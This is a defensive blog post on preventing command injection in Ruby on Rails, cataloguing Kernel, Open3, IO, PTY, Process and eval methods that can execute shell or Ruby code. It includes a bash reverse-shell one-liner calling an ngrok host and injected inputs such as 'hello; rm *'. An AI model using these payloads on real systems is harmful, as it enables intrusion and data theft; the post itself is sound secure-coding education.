Ruby on Rails Security: Preventing Command Injection

Michael Lubas, 2025-03-14

In the taxonomy of security vulnerabilities, remote code execution (RCE) typically ranks as the most severe. A web application that is vulnerable to RCE can be exploited by an attacker, who gets the equivalent of production SSH access to the underlying web server. With this level of access the bad guy can:

  1. Steal the entire database, causing a data breach.
  2. Take over the web server for his own needs, for example sending email spam or mining cryptocurrency.
  3. Use the access as a foothold for the rest of the corporate network. Maybe the web application is not that interesting, but happens to be on the same VPC as a server processing credit card transactions.

Command injection is a type of RCE vulnerability where user input is being passed as a command to the underlying server’s shell, for example bash. A typical proof of concept for this vulnerability involves an HTTP request that runs a command on the server:

GET
https://blackcatprojects.xyz/code?=ls

Server Response:
200 OK
{"resp":"bin\ncores\ndev\nw\tmp\nuser\nvar"}

Hopefully it is clear by this point why this is such a severe problem. In a pentest report this finding would be ranked as “critical, fix now” because bots are constantly scanning all servers on the public internet, looking for severs that can be hacked into. If you’re thinking “Ok you can run a shell command like ls, but how would a bad guy actually connect to the server?”, the workflow for the attack in this situation is:

  1. The attacker sets up a listening server, for example with ngrok, so that he now has an endpoint on the public internet to "catch" the reverse shell.
  2. He sends the following command to the server: "bash -i >& /dev/tcp/6.tcp.ngrok.io/15899 0>&1"
  3. The bash command is executed on the victim server, connecting to the public attacker server (ngrok in this case), while also listening for new commands.
  4. Now the attacker has the equivalent of production SSH access to the server.

Command Injection in Rails

Now that you understand why command injection is such a serious problem, let’s learn how to prevent it in your Ruby on Rails projects. There are several Ruby methods explicitly for running system commands:

Kernel

1. `command`: Returns the standard output of running command in a subshell.
2. %x(echo 1) - Alternate syntax for backtick literal, https://docs.ruby-lang.org/en/3.4/syntax/literals_rdoc.html#label-25x-3A+Backtick+Literals 
3. exec(user_input)
4. spawn(user_input)
5. system(user_input)

The official Rails Security Guide mentions that there is a “safe” way to pass user input to these methods:

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory

# A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files

Depending on the command line program you are running this can still be dangerous. There are so many possible ways this can go wrong I want to emphasize the point that you should avoid passing user input to these Kernel methods when possible.

There are additional Ruby methods that have a security quirk of executing an OS command if the argument starts with a vertical bar:

@ rtest % irb
irb(main):001> open("| touch hi.txt")

@ rtest % ls
hi.txt

So even if you are avoiding methods designed to execute shell commands, you still need to watch out for:

Kernel

1. open

Open3

1. Open3.capture2
2. Open3.capture2e
3. Open3.capture3
4. Open3.pipeline
5. Open3.pipeline_r
6. Open3.pipeline_rw
7. Open3.pipeline_start
8. Open3.pipeline_w
9. Open3.popen2
10. Open3.popen2e
11. Open3.popen3

IO

1. IO.binread
2. IO.binwrite
3. IO.foreach
4. IO.popen
5. IO.read
6. IO.readlines
7. IO.write 

The File methods are considered a secure alternative to IO because they do not have this problem:

Not vulnerable to command injection
irb(main):001> File.open("| touch file.txt")
(irb):1:in 'File#initialize': No such file or directory @ rb_sysopen - | touch file.txt (Errno::ENOENT)

URI#open also has this behavior:

irb(main):001> require "open-uri"
=> true

# Not secure 
irb(main):002> URI.open("| touch uri.txt")
=> #<IO:fd 6>

# This way is safe 
irb(main):003> URI("|touch uri.txt").open
...rfc3986_parser.rb:130:in 'URI::RFC3986_Parser#split': bad URI (is not URI?): "|touch uri.txt" (URI::InvalidURIError)

Some miscellaneous methods that are not safe to pass user input to:

PTY

1. PTY.getpty
2. PTY.spawn 

Process

1. Process.exec
2. Process.spawn 

Finally there are various Ruby metaprogramming methods where user input should not be passed in as a string:

1. eval
2. instance_eval
3. class_eval
4. module_eval
irb(main):014> eval("1+2")
=> 3
irb(main):015> instance_eval("1+2")
=> 3
irb(main):016* class Thing
irb(main):017> end
=> nil
irb(main):018> Thing.class_eval("1+2")
=> 3
irb(main):019> Thing.module_eval("1+2")
=> 3

While not a unix command, allowing an attacker to execute arbitrary Ruby code leads to the same vulnerability.

If you are working on a Rails application where security is important, for example a patient medical portal or banking service, it would be a good idea to simply ban the methods listed here from your codebase. Command injection is an extremely dangerous vulnerability, so if you can achieve your goals without using these methods, that eliminates a major source of risk.

There are additional ways a Rails application can be vulnerable to RCE, such as via insecure send or via insecure deserialization such as Marshal.load. Those will be covered in a future article. My goal here is to catalogue all the Ruby methods that lead to command injection when user input is passed as an argument. If I’ve missed any please let me know: michael at paraxial.io


Further Reading

Ruby Documentation, Command Injection

Rails Documentation, Command Line Injection


Lab

Gem Shop, the intentionally vulnerable Rails 8 project for security education, is vulnerable to command injection. See if you can find it!


Paraxial.io stops data breaches by helping developers ship secure applications. Get a demo or start for free.

Subscribe to stay up to date on new posts.